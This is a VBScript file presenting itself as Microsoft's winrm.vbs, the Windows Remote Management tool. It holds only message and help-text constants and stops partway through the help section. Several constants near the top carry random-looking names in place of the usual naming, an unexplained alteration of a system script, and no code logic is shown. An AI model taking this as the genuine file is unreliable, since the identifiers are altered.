' Copyright (c) Microsoft Corporation. All rights reserved.
' VBScript Source File
' Script Name: winrm.vbs
'''''''''''''''''''''
' Error codes
private const ERR_OK = 0
private const ERR_GENERAL_FAILURE = 1
'''''''''''''''''''''
' Messages
private const L_ONLYCSCRIPT_Message = "Can be executed only by cscript.exe."
private const IZPe = "Unknown operation name: "
private const L_OP_Message = "Operation - "
private const Oyik = "File does not exist: "
private const fiUU = "Parameter is zero length #"
private const jaQeTz = "Switch not allowed with the given operation: "
private const cLHUwt = "Unknown switch: "
private const iYiWzc = "Missing switch name"
private const OOeLuT = "Invalid use of command line. Type ""winrm -?"" for help."
private const CsUmUB = "Type ""winrm -?"" for help."
private const ajGDWn = "Invalid usage of command line; winrm.vbs not found in command string."
private const GGYPKc = "A quoted parameter value must begin and end with quotes: "
private const QAGYBP = "Unexpected match count - one match is expected: "
private const DSqTRa = "Option is not unique: "
private const meOSkD = "URI is missing"
private const omqCwM = "Action is missing"
private const BqgPbg = "URI is 0 length"
private const L_URIZEROTOK_Message = "Invalid URI, token is 0 length"
private const xTdAU = "Invalid WMI resource URI - no '/' found (at least 2 expected)"
private const NYWhc = "Invalid WMI resource URI - only one '/' found (at least 2 expected)"
private const L_NOLASTTOK_Message = "Invalid URI - cannot locate last token for root node name"
private const WazcX = "Syntax Error: input must be of the form {KEY=""VALUE""[;KEY=""VALUE""]}"
private const L_ARGNOVAL_Message = "Argument's value is not provided: "
private const L_XMLERROR_Message = "Unable to parse XML: "
private const L_XSLERROR_Message = "Unable to parse XSL file. Either it is inaccessible or invalid: "
private const L_MSXML6MISSING_Message = "Unable to load MSXML6, required by -format option and for set using ""@{...}"""
private const L_FORMATLERROR_Message = "Invalid option for -format: "
private const L_FORMATFAILED_Message = "Unable to reformat message. Raw, unformatted, message: "
private const L_PUT_PARAM_NOMATCH_Message = "Parameter name does not match any properties on resource: "
private const L_PUT_PARAM_MULTIMATCH_Message = "Parameter matches more than one property on resource: "
private const L_PUT_PARAM_NOARRAY_Message = "Multiple matching parameter names not allowedin @{...}: "
private const L_PUT_PARAM_NOTATTR_Message = "Parameter matches a non-text property on resource: "
private const L_PUT_PARAM_EMPTY_Message = "Parameter set is empty."
private const L_OPTIONS_PARAMETER_EMPTY_Message = "Options parameter has no value or is malformed."
private const L_RESOURCELOCATOR_Message = "Unable to create ResourceLocator object."
private const L_PUT_PARAM_NOINPUT_Message = "No input provided through ""@{...}"" or ""-file:"" commandline parameters."
private const L_ERR_Message = "Error: "
private const L_ERRNO_Message = "Error number: "
private const L_OpDoesntAcceptInput_ErrorMessage = "Input was supplied to an operation that does not accept input."
private const L_QuickConfigNoChangesNeeded_Message = "WinRM is already set up for remote management on this computer."
private const L_QuickConfig_MissingUpdateXml_0_ErrorMessage = "Could not find update instructions in analysis result."
private const L_QuickConfigUpdated_Message = "WinRM has been updated for remote management."
private const L_QuickConfigUpdateFailed_ErrorMessage = "One or more update steps could not be completed."
private const L_QuickConfig_InvalidBool_0_ErrorMessage = "Could not determine if remoting is enabled."
private const L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage = "Cannot complete the request due to a conflicting Group Policy setting."
private const L_QuickConfig_UpdatesNeeded_0_Message = "WinRM is not set up to allow remote access to this machine for management."
private const L_QuickConfig_UpdatesNeeded_1_Message = "The following changes must be made:"
private const L_QuickConfig_Prompt_0_Message = "Make these changes [y/n]? "
private const L_QuickConfigNoServiceChangesNeeded_Message = "WinRM is already set up to receive requests on this computer."
private const L_QuickConfigNoServiceChangesNeeded_Message2 = "WinRM service is already running on this machine."
private const L_QuickConfigUpdatedService_Message = "WinRM has been updated to receive requests."
private const L_QuickConfig_ServiceUpdatesNeeded_0_Message = "WinRM is not set up to receive requests on this machine."
'''''''''''''''''''''
' HELP - GENERAL
private const L_Help_Title_0_Message = "Windows Remote Management Command Line Tool"
private const L_Help_Blank_0_Message = ""
private const L_Help_SeeAlso_Title_Message = "See also:"
private const X_Help_SeeAlso_Aliases_Message = " winrm help aliases"
private const X_Help_SeeAlso_Config_Message = " winrm help config"
private const X_Help_SeeAlso_CertMapping_Message = " winrm help certmapping"
private const X_Help_SeeAlso_CustomRemoteShell_Message = " winrm help customremoteshell"
private const X_Help_SeeAlso_Input_Message = " winrm help input"
private const X_Help_SeeAlso_Filters_Message = " winrm help filters"
private const X_Help_SeeAlso_Switches_Message = " winrm help switches"
private const X_Help_SeeAlso_Uris_Message = " winrm help uris"
private const X_Help_SeeAlso_Auth_Message = " winrm help auth"
private const X_Help_SeeAlso_Set_Message = " winrm set -?"
private const X_Help_SeeAlso_Create_Message = " winrm create -?"
private const X_Help_SeeAlso_Enumerate_Message = " winrm enumerate -?"
private const X_Help_SeeAlso_Invoke_Message = " winrm invoke -?"
private const X_Help_SeeAlso_Remoting_Message = " winrm help remoting"
private const X_Help_SeeAlso_configSDDL_Message = " winrm configsddl -?"
'''''''''''''''''''''
' HELP - HELP
private const L_HelpHelp_000_0_Message = "Windows Remote Management (WinRM) is the Microsoft implementation of "
private const L_HelpHelp_001_0_Message = "the WS-Management protocol which provides a secure way to communicate "
private const L_HelpHelp_001_1_Message = "with local and remote computers using web services. "
private const L_HelpHelp_002_0_Message = ""
private const L_HelpHelp_003_0_Message = "Usage:"
private const L_HelpHelp_004_0_Message = " winrm OPERATION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpHelp_005_0_Message = " [@{KEY=VALUE[;KEY=VALUE]...}]"
private const L_HelpHelp_007_0_Message = ""
private const L_HelpHelp_008_0_Message = "For help on a specific operation:"
private const L_HelpHelp_009_0_Message = " winrm g[et] -? Retrieving management information."
private const L_HelpHelp_010_0_Message = " winrm s[et] -? Modifying management information."
private const L_HelpHelp_011_0_Message = " winrm c[reate] -? Creating new instances of management resources."
private const L_HelpHelp_012_0_Message = " winrm d[elete] -? Remove an instance of a management resource."
private const L_HelpHelp_013_0_Message = " winrm e[numerate] -? List all instances of a management resource."
private const L_HelpHelp_014_0_Message = " winrm i[nvoke] -? Executes a method on a management resource."
private const L_HelpHelp_015_0_Message = " winrm id[entify] -? Determines if a WS-Management implementation is"
private const L_HelpHelp_015_1_Message = " running on the remote machine."
private const L_HelpHelp_016_0_Message = " winrm quickconfig -? Configures this machine to accept WS-Management"
private const L_HelpHelp_016_1_Message = " requests from other machines."
private const L_HelpHelp_016_3_Message = " winrm configSDDL -? Modify an existing security descriptor for a URI."
private const L_HelpHelp_016_4_Message = " winrm helpmsg -? Displays error message for the error code."
private const L_HelpHelp_017_0_Message = ""
private const L_HelpHelp_018_0_Message = "For help on related topics:"
private const L_HelpHelp_019_0_Message = " winrm help uris How to construct resource URIs."
private const L_HelpHelp_020_0_Message = " winrm help aliases Abbreviations for URIs."
private const L_HelpHelp_021_0_Message = " winrm help config Configuring WinRM client and service settings."
private const L_HelpHelp_021_2_Message = " winrm help certmapping Configuring client certificate access."
private const L_HelpHelp_022_0_Message = " winrm help remoting How to access remote machines."
private const L_HelpHelp_023_0_Message = " winrm help auth Providing credentials for remote access."
private const L_HelpHelp_024_0_Message = " winrm help input Providing input to create, set, and invoke."
private const L_HelpHelp_025_0_Message = " winrm help switches Other switches such as formatting, options, etc."
private const L_HelpHelp_026_0_Message = " winrm help proxy Providing proxy information."
'''''''''''''''''''''
' HELP - GET
private const L_HelpGet_000_0_Message = "winrm get RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpGet_001_0_Message = ""
private const L_HelpGet_002_0_Message = "Retrieves instances of RESOURCE_URI using specified "
private const L_HelpGet_003_0_Message = "options and key-value pairs."
private const L_HelpGet_004_0_Message = ""
private const L_HelpGet_005_0_Message = "Example: Retrieve current configuration in XML format:"
private const X_HelpGet_006_0_Message = " winrm get winrm/config -format:pretty"
private const L_HelpGet_007_0_Message = ""
private const L_HelpGet_008_0_Message = "Example: Retrieve spooler instance of Win32_Service class:"
private const X_HelpGet_009_0_Message = " winrm get wmicimv2/Win32_Service?Name=spooler"
private const L_HelpGet_010_0_Message = ""
private const L_HelpGet_014_0_Message = "Example: Retrieve a certmapping entry on this machine:"
private const X_HelpGet_015_0_Message = " winrm get winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*"
private const L_HelpGet_016_0_Message = ""
'''''''''''''''''''''
' HELP - SET
private const L_HelpSet_001_0_Message = "winrm set RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpSet_002_0_Message = " [@{KEY=""VALUE""[;KEY=""VALUE""]}]"
private const L_HelpSet_003_0_Message = " [-file:VALUE]"
private const L_HelpSet_004_0_Message = ""
private const L_HelpSet_005_0_Message = "Modifies settings in RESOURCE_URI using specified switches"
private const L_HelpSet_006_0_Message = "and input of changed values via key-value pairs or updated "
private const L_HelpSet_007_0_Message = "object via an input file."
private const L_HelpSet_008_0_Message = ""
private const L_HelpSet_009_0_Message = "Example: Modify a configuration property of WinRM:"
private const X_HelpSet_010_0_Message = " winrm set winrm/config @{MaxEnvelopeSizekb=""100""}"
private const L_HelpSet_011_0_Message = ""
private const L_HelpSet_012_0_Message = "Example: Disable a listener on this machine:"
private const X_HelpSet_013_0_Message = " winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Enabled=""false""}"
private const L_HelpSet_014_0_Message = ""
private const L_HelpSet_018_0_Message = "Example: Disable a certmapping entry on this machine:"
private const X_HelpSet_019_0_Message = " Winrm set winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{Enabled=""false""}"
private const L_HelpSet_020_0_Message = ""
'''''''''''''''''''''
' HELP - CREATE
private const L_HelpCreate_001_0_Message = "winrm create RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpCreate_002_0_Message = " [@{KEY=""VALUE""[;KEY=""VALUE""]}]"
private const L_HelpCreate_003_0_Message = " [-file:VALUE]"
private const L_HelpCreate_004_0_Message = ""
private const L_HelpCreate_005_0_Message = "Spawns an instance of RESOURCE_URI using specified "
private const L_HelpCreate_006_0_Message = "key-value pairs or input file."
private const L_HelpCreate_007_0_Message = ""
private const L_HelpCreate_008_0_Message = "Example: Create instance of HTTP Listener on IPv6 address:"
private const X_HelpCreate_009_0_Message = " winrm create winrm/config/Listener?Address=IP:3ffe:8311:ffff:f2c1::5e61+Transport=HTTP"
private const L_HelpCreate_010_0_Message = ""
private const L_HelpCreate_011_0_Message = "Example: Create instance of HTTPS Listener on all IPs:"
private const X_HelpCreate_012_0_Message = " winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname=""HOST"";CertificateThumbprint=""XXXXXXXXXX""}"
private const L_HelpCreate_013_0_Message = "Note: XXXXXXXXXX represents a 40-digit hex string; see help config."
private const L_HelpCreate_014_0_Message = ""
private const L_HelpCreate_015_0_Message = "Example: Create a windows shell command instance from xml:"
private const X_HelpCreate_016_0_Message = " winrm create shell/cmd -file:shell.xml -remote:srv.corp.com"
private const L_HelpCreate_017_0_Message = ""
private const L_HelpCreate_022_0_Message = "Example: Create a CertMapping entry:"
private const X_HelpCreate_023_0_Message = " winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=""USERNAME"";Password=""PASSWORD""} -remote:localhost"
private const L_HelpCreate_024_0_Message = ""
'''''''''''''''''''''
' HELP - DELETE
private const L_HelpDelete_001_0_Message = "winrm delete RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpDelete_002_0_Message = ""
private const L_HelpDelete_003_0_Message = "Removes an instance of RESOURCE_URI."
private const L_HelpDelete_004_0_Message = ""
private const L_HelpDelete_005_0_Message = "Example: delete the HTTP listener on this machine for given IP address:"
private const X_HelpDelete_006_0_Message = " winrm delete winrm/config/Listener?Address=IP:192.168.2.1+Transport=HTTP"
private const L_HelpDelete_007_0_Message = ""
private const L_HelpDelete_008_0_Message = "Example: delete a certmapping entry:"
private const X_HelpDelete_009_0_Message = " winrm delete winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*"
private const L_HelpDelete_010_0_Message = ""
'''''''''''''''''''''
' HELP - ENUMERATE
private const L_HelpEnum_001_0_Message = "winrm enumerate RESOURCE_URI [-ReturnType:Value] [-Shallow]"
private const L_HelpEnum_001_1_Message = " [-BasePropertiesOnly] [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpEnum_002_0_Message = ""
private const L_HelpEnum_003_0_Message = "Lists instances of RESOURCE_URI."
private const L_HelpEnum_004_0_Message = "Can limit the instances returned by using a filter and dialect if the "
private const L_HelpEnum_005_0_Message = "resource supports these."
private const L_HelpEnum_006_0_Message = ""
private const L_HelpEnum_006_1_Message = "ReturnType"
private const L_HelpEnum_006_2_Message = "----------"
private const L_HelpEnum_006_3_Message = "returnType is an optional switch that determines the type of data returned."
private const L_HelpEnum_006_4_Message = "Possible options are 'Object', 'EPR' and 'ObjectAndEPR'. Default is Object"
private const L_HelpEnum_006_5_Message = "If Object is specified or if switch is omitted, then only the objects are"
private const L_HelpEnum_006_6_Message = "returned."
private const L_HelpEnum_006_7_Message = "If EPR is specified, then only the EPRs (End point reference) of the"
private const L_HelpEnum_006_8_Message = "objects are returned. EPRs contain information about the resource URI and"
private const L_HelpEnum_006_9_Message = "selectors for the instance."
private const L_HelpEnum_006_10_Message = "If ObjectAndEPR is specified, then both the object and the associated EPRs"
private const L_HelpEnum_006_11_Message = "are returned."
private const L_HelpEnum_006_12_Message = ""
private const L_HelpEnum_006_13_Message = "Shallow"
private const L_HelpEnum_006_14_Message = "-------"
private const L_HelpEnum_006_15_Message = "Enumerate only instances of the base class specified in the resource URI."
private const L_HelpEnum_006_16_Message = "If this flag is not specified, instances of the base class specified in "
private const L_HelpEnum_006_17_Message = "the resource URI and all its derived classes are returned."
private const L_HelpEnum_006_18_Message = ""
private const L_HelpEnum_006_19_Message = "BasePropertiesOnly"
private const L_HelpEnum_006_20_Message = "------------------"
private const L_HelpEnum_006_21_Message = "Includes only those properties that are part of the base class specified"
private const L_HelpEnum_006_22_Message = "in the resource URI. When -Shallow is specified, this flag has no effect. "
private const L_HelpEnum_006_23_Message = ""
private const L_HelpEnum_007_0_Message = "Example: List all WinRM listeners on this machine:"
private const X_HelpEnum_008_0_Message = " winrm enumerate winrm/config/Listener"
private const L_HelpEnum_009_0_Message = ""
private const L_HelpEnum_010_0_Message = "Example: List all instances of Win32_Service class:"
private const X_HelpEnum_011_0_Message = " winrm enumerate wmicimv2/Win32_Service"
private const L_HelpEnum_012_0_Message = ""
'private const L_HelpEnum_013_0_Message = "Example: List all auto start services that are stopped:"
'private const X_HelpEnum_014_0_Message = " winrm enum wmicimv2/* -filter:""select * from win32_service where StartMode=\""Auto\"" and State = \""Stopped\"" """
'private const L_HelpEnum_015_0_Message = ""
private const L_HelpEnum_016_0_Message = "Example: List all shell instances on a machine:"
private const X_HelpEnum_017_0_Message = " winrm enum shell/cmd -remote:srv.corp.com"
private const L_HelpEnum_018_0_Message = ""
private const L_HelpEnum_019_0_Message = "Example: List resources accessible to the current user:"
private const X_HelpEnum_020_0_Message = " winrm enum winrm/config/resource"
private const L_HelpEnum_021_0_Message = ""
private const L_HelpEnum_022_0_Message = "Example: List all certmapping settings:"
private const X_HelpEnum_023_0_Message = " winrm enum winrm/config/service/certmapping"
private const L_HelpEnum_024_0_Message = ""
'''''''''''''''''''''
' HELP - INVOKE
private const L_HelpInvoke_001_0_Message = "winrm invoke ACTION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpInvoke_002_0_Message = " [@{KEY=""VALUE""[;KEY=""VALUE""]}]"
private const L_HelpInvoke_003_0_Message = " [-file:VALUE]"
private const L_HelpInvoke_004_0_Message = ""
private const L_HelpInvoke_005_0_Message = "Executes method specified by ACTION on target object specified by RESOURCE_URI"
private const L_HelpInvoke_006_0_Message = "with parameters specified by key-value pairs."
private const L_HelpInvoke_007_0_Message = ""
private const L_HelpInvoke_008_0_Message = "Example: Call StartService method on Spooler service:"
private const X_HelpInvoke_009_0_Message = " winrm invoke StartService wmicimv2/Win32_Service?Name=spooler"
private const L_HelpInvoke_010_0_Message = ""
private const L_HelpInvoke_011_0_Message = "Example: Call StopService method on Spooler service using XML file:"
private const X_HelpInvoke_012_0_Message = " winrm invoke StopService wmicimv2/Win32_Service?Name=spooler -file:input.xml"
private const L_HelpInvoke_013_0_Message = "Where input.xml:"
private const X_HelpInvoke_014_0_Message = "<p:StopService_INPUT xmlns:p=""http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service""/>"
private const L_HelpInvoke_015_0_Message = ""
private const L_HelpInvoke_016_0_Message = "Example: Call Create method of Win32_Process class with specified parameters:"
private const X_HelpInvoke_017_0_Message = " winrm invoke Create wmicimv2/Win32_Process @{CommandLine=""notepad.exe"";CurrentDirectory=""C:\""}"
private const L_HelpInvoke_018_0_Message = ""
private const L_HelpInvoke_019_0_Message = "Example: Restore the default winrm configuration:"
private const L_HelpInvoke_019_1_Message = "Note that this will not restore the default winrm plugin configuration:"
private const X_HelpInvoke_020_0_Message = " winrm invoke restore winrm/config @{}"
private const L_HelpInvoke_021_0_Message = ""
private const L_HelpInvoke_022_0_Message = "Example: Restore the default winrm plugin configuration:"
private const L_HelpInvoke_022_1_Message = "Note that all external plugins will be unregistered during this operation:"
private const X_HelpInvoke_023_0_Message = " winrm invoke restore winrm/config/plugin @{}"
'''''''''''''''''''''
' HELP - IDENTIFY
private const X_HelpIdentify_001_0_Message = "winrm identify [-SWITCH:VALUE [-SWITCH:VALUE] ...]"
private const L_HelpIdentify_003_0_Message = ""
private const L_HelpIdentify_004_0_Message = "Issues an operation against a remote machine to see if the WS-Management "
private const L_HelpIdentify_005_0_Message = "service is running. This operation must be run with the '-remote' switch."
private const L_HelpIdentify_006_0_Message = "To run this operation unauthenticated against the remote machine use the"
private const L_HelpIdentify_007_0_Message = "-auth:none"
private const L_HelpIdentify_008_0_Message = ""
private const L_HelpIdentify_009_0_Message = "Example: identify if WS-Management is running on www.example.com:"
private const X_HelpIdentify_010_0_Message = " winrm identify -remote:www.example.com"
'''''''''''''''''''''
' HELP - HELPMSG
private const X_HelpHelpMessaage_001_0_Message = "winrm helpmsg errorcode"
private const X_HelpHelpMessaage_002_0_Message = ""
private const X_HelpHelpMessaage_003_0_Message = "Displays error message associate with the error code."
private const X_HelpHelpMessaage_004_0_Message = "Example:"
private const X_HelpHelpMessaage_006_0_Message = " winrm helpmsg 0x5"
'''''''''''''''''''''
' HELP - ALIAS
private const L_HelpAlias_001_0_Message = "Aliasing allows shortcuts to be used in place of full Resource URIs."
private const L_HelpAlias_002_0_Message = "Available aliases and the Resource URIs they substitute for are:"
private const L_HelpAlias_003_0_Message = ""
private const X_HelpAlias_004_0_Message = "wmi = http://schemas.microsoft.com/wbem/wsman/1/wmi"
private const X_HelpAlias_005_0_Message = "wmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2"
private const X_HelpAlias_006_0_Message = "cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2"
private const X_HelpAlias_007_0_Message = "winrm = http://schemas.microsoft.com/wbem/wsman/1"
private const X_HelpAlias_008_0_Message = "wsman = http://schemas.microsoft.com/wbem/wsman/1"
private const X_HelpAlias_009_0_Message = "shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
private const L_HelpAlias_010_0_Message = ""
private const L_HelpAlias_011_0_Message = "Example: using full Resource URI:"
private const x_HelpAlias_012_0_Message = " winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM"
private const L_HelpAlias_013_0_Message = ""
private const L_HelpAlias_014_0_Message = "Example: using alias:"
private const X_HelpAlias_015_0_Message = " winrm get wmicimv2/Win32_Service?Name=WinRM"
'''''''''''''''''''''
' HELP - URIS
private const L_HelpUris_001_0_Message = "Universal Resource Identifiers (URI) specify management resources to be"
private const L_HelpUris_002_0_Message = "used for operations."
private const L_HelpUris_003_0_Message = ""
private const L_HelpUris_004_0_Message = "Selectors and values are passed after the URI in the form:"
private const X_HelpUris_005_0_Message = " RESOURCE_URI?NAME=VALUE[+NAME=VALUE]..."
private const L_HelpUris_006_0_Message = ""
private const L_HelpUris_007_0_Message = "URIs for all information in WMI are of the following form:"
private const X_HelpUris_008_0_Message = " WMI path = \\root\NAMESPACE[\NAMESPACE]\CLASS"
private const X_HelpUris_009_0_Message = " URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE[/NAMESPACE]/CLASS"
private const X_HelpUris_010_0_Message = " ALIAS = wmi/root/NAMESPACE[/NAMESPACE]/CLASS"
private const L_HelpUris_011_0_Message = ""
private const L_HelpUris_012_0_Message = "Example: Get information about WinRM service from WMI using single selector"
private const X_HelpUris_013_0_Message = " WMI path = \\root\cimv2\Win32_Service"
private const X_HelpUris_013_1_Message = " URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM"
private const X_HelpUris_014_0_Message = " ALIAS = wmi/root/cimv2/Win32_Service?Name=WinRM"
private const L_HelpUris_015_0_Message = ""
private const L_HelpUris_015_1_Message = "When enumerating WMI instances using a WQL filter,"
private const L_HelpUris_015_2_Message = "the CLASS must be ""*"" (star) and no selectors should be specified."
private const L_HelpUris_015_3_Message = "Example:"
private const X_HelpUris_015_4_Message = "URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*"
private const L_HelpUris_015_5_Message = ""
private const L_HelpUris_015_6_Message = "When accesing WMI singleton instances, no selectors should be specified."
private const L_HelpUris_015_7_Message = "Example:"
private const X_HelpUris_015_8_Message = "URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service"
private const L_HelpUris_015_9_Message = ""
private const L_HelpUris_016_0_Message = "Note: Some parts of RESOURCE_URI may be case-sensitive. When using create or"
private const L_HelpUris_017_0_Message = "invoke, the last part of the resource URI must match case-wise the top-level"
private const L_HelpUris_018_0_Message = "element of the expected XML."
'''''''''''''''''''''
' HELP - CONFIG
private const L_HelpConfig_001_0_Message = "Configuration for WinRM is managed using the winrm command line or through GPO."
private const L_HelpConfig_002_0_Message = "Configuration includes global configuration for both the client and service."
private const L_HelpConfig_003_0_Message = ""
private const L_HelpConfig_004_0_Message = "The WinRM service requires at least one listener to indicate the IP address(es)"
private const L_HelpConfig_005_0_Message = "on which to accept WS-Management requests. For example, if the machine has "
private const L_HelpConfig_006_0_Message = "multiple network cards, WinRM can be configured to only accept requests from"
private const L_HelpConfig_007_0_Message = "one of the network cards."
private const L_HelpConfig_008_0_Message = ""
private const L_HelpConfig_009_0_Message = "Global configuration"
private const X_HelpConfig_010_0_Message = " winrm get winrm/config"
private const X_HelpConfig_011_0_Message = " winrm get winrm/config/client"
private const X_HelpConfig_012_0_Message = " winrm get winrm/config/service"
private const X_HelpConfig_012_1_Message = " winrm enumerate winrm/config/resource"
private const X_HelpConfig_012_2_Message = " winrm enumerate winrm/config/listener"
private const X_HelpConfig_012_3_Message = " winrm enumerate winrm/config/plugin"
private const X_HelpConfig_012_4_Message = " winrm enumerate winrm/config/service/certmapping"
private const L_HelpConfig_013_0_Message = ""
private const L_HelpConfig_014_0_Message = "Network listening requires one or more listeners. "
private const L_HelpConfig_015_0_Message = "Listeners are identified by two selectors: Address and Transport."
private const L_HelpConfigAddress_001_0_Message = "Address must be one of:"
private const L_HelpConfigAddress_002_0_Message = " * - Listen on all IPs on the machine "
private const L_HelpConfigAddress_003_0_Message = " IP:1.2.3.4 - Listen only on the specified IP address"
private const L_HelpConfigAddress_004_0_Message = " MAC:... - Listen only on IP address for the specified MAC"
private const L_HelpConfigAddress_005_0_Message = ""
private const L_HelpConfigAddress_006_0_Message = "Note: All listening is subject to the IPv4Filter and IPv6Filter under "
private const L_HelpConfigAddress_007_0_Message = "config/service."
private const L_HelpConfigAddress_008_0_Message = "Note: IP may be an IPv4 or IPv6 address."
private const L_HelpConfigTransport_001_0_Message = "Transport must be one of:"
private const L_HelpConfigTransport_002_0_Message = " HTTP - Listen for requests on HTTP (default port is 5985)"
private const L_HelpConfigTransport_003_0_Message = " HTTPS - Listen for requests on HTTPS (default port is 5986)"
private const L_HelpConfigTransport_004_0_Message = ""
private const L_HelpConfigTransport_005_0_Message = "Note: HTTP traffic by default only allows messages encrypted with "
private const L_HelpConfigTransport_006_0_Message = "the Negotiate or Kerberos SSP."
private const L_HelpConfigTransport_007_0_Message = ""
private const L_HelpConfigTransport_008_0_Message = ""
private const L_HelpConfigTransport_009_0_Message = "When configuring HTTPS, the following properties are used:"
private const L_HelpConfigTransport_010_0_Message = " Hostname - Name of this machine; must match CN in certificate."
private const L_HelpConfigTransport_011_0_Message = " CertificateThumbprint - hexadecimal thumbprint of certificate appropriate for"
private const L_HelpConfigTransport_012_0_Message = " Server Authentication."
private const L_HelpConfigTransport_013_0_Message = "Note: If only Hostname is supplied, WinRM will try to find an appropriate"
private const L_HelpConfigTransport_014_0_Message = "certificate."
private const L_HelpConfigExamples_001_0_Message = "Example: To listen for requests on HTTP on all IPs on the machine:"
private const X_HelpConfigExamples_002_0_Message = " winrm create winrm/config/listener?Address=*+Transport=HTTP"
private const L_HelpConfigExamples_003_0_Message = ""
private const L_HelpConfigExamples_004_0_Message = "Example: To disable a given listener"
private const X_HelpConfigExamples_005_0_Message = " winrm set winrm/config/listener?Address=IP:1.2.3.4+Transport=HTTP @{Enabled=""false""}"
private const L_HelpConfigExamples_006_0_Message = ""
private const L_HelpConfigExamples_007_0_Message = "Example: To enable basic authentication on the client but not the service:"
private const X_HelpConfigExamples_008_0_Message = " winrm set winrm/config/client/auth @{Basic=""true""}"
private const L_HelpConfigExamples_009_0_Message = ""
private const L_HelpConfigExamples_010_0_Message = "Example: To enable Negotiate for all workgroup machines."
private const X_HelpConfigExamples_011_0_Message = " winrm set winrm/config/client @{TrustedHosts=""<local>""}"
private const L_HelpConfigExamples_012_0_Message = ""
private const L_HelpConfigExamples_013_0_Message = "Example: To add an IPv4 and IPv6 host address to TrustedHosts."
private const X_HelpConfigExamples_014_0_Message = " winrm set winrm/config/client @{TrustedHosts=""1.2.3.4,[1:2:3::8]""}"
private const L_HelpConfigExamples_015_0_Message = ""
private const L_HelpConfigExamples_016_0_Message = " Note: Computers in the TrustedHosts list might not be authenticated"
'''''''''''''''''''''
' HELP - CertMapping
private const L_HelpCertMapping_001_0_Message = "Certificate mapping remote access to WinRM using client certificates is "
private const L_HelpCertMapping_002_0_Message = "stored in the certificate mapping table identified by the "
private const L_HelpCertMapping_003_0_Message = "following resource URI:"
private const L_HelpCertMapping_003_1_Message = ""
private const L_HelpCertMapping_004_0_Message = " winrm/config/service/CertMapping"
private const L_HelpCertMapping_005_0_Message = ""
private const L_HelpCertMapping_006_0_Message = "Each entry in this table contains five properties:"
private const L_HelpCertMapping_007_0_Message = " Issuer - Thumbprint of the issuer certificate."
private const L_HelpCertMapping_008_0_Message = " Subject - Subject field of client certificate."
private const L_HelpCertMapping_009_0_Message = " URI - The URI or URI prefix for which this mapping applies."
private const L_HelpCertMapping_009_1_Message = " Username - Local username for processing the request."
private const L_HelpCertMapping_009_2_Message = " Password - Local password for processing the request."
private const L_HelpCertMapping_009_3_Message = " Enabled - Use in processing if true."
private const L_HelpCertMapping_010_0_Message = " "
private const L_HelpCertMapping_011_0_Message = "For a client certificate to be applicable, the issuer certificate must be "
private const L_HelpCertMapping_012_0_Message = "available locally and match the thumbprint in the entry Issuer property"
private const L_HelpCertMapping_012_1_Message = ""
private const L_HelpCertMapping_012_2_Message = "For a client certificate to be applicable, its DNS or Principal name "
private const L_HelpCertMapping_013_0_Message = "(from the SubjectAlternativeName field) must match the Subject property."
private const L_HelpCertMapping_014_0_Message = "The value can start with a '*' wildcard."
private const L_HelpCertMapping_014_1_Message = "The URI identifies for which resources the indicated client certificates ."
private const L_HelpCertMapping_014_2_Message = "should be mapped."
private const L_HelpCertMapping_014_3_Message = "The value can end with a '*' wildcard."
private const L_HelpCertMapping_014_4_Message = ""
private const L_HelpCertMapping_015_0_Message = "If the client certificate matches the entry and it is enabled, the "
private const L_HelpCertMapping_016_0_Message = "request is processed under the local account with the given username "
private const L_HelpCertMapping_017_0_Message = "and password after ensuring that user has access to the resource as "
private const L_HelpCertMapping_018_0_Message = "defined by the URI security table."
private const L_HelpCertMapping_019_0_Message = ""
private const L_HelpCertMapping_020_0_Message = "When creating a new entry or changing the password of an existing entry, "
private const L_HelpCertMapping_021_0_Message = "the -r switch must be used since the WinRM service must store the password"
private const L_HelpCertMapping_022_0_Message = "for future use."
private const L_HelpCertMappingExamples_001_0_Message = "Example: To see the current CertMapping configuration"
private const X_HelpCertMappingExamples_002_0_Message = " winrm enumerate winrm/config/service/CertMapping"
private const L_HelpCertMappingExamples_003_0_Message = "Example: Create a CertMapping entry:"
private const X_HelpCertMappingExamples_004_0_Message = " winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=""USERNAME"";Password=""PASSWORD""} -remote:localhost"
private const L_HelpCertMappingExamples_005_0_Message = ""
'''''''''''''''''''''
' HELP - CONFIGSDDL
private const L_HelpConfigsddl_000_1_Message = " winrm configsddl RESOURCE_URI"
private const L_HelpConfigsddl_001_0_Message = ""
private const L_HelpConfigsddl_002_0_Message = "Changes an existing entry in the plugin configuration to "
private const L_HelpConfigsddl_002_1_Message = "control remote access to WinRM resources."
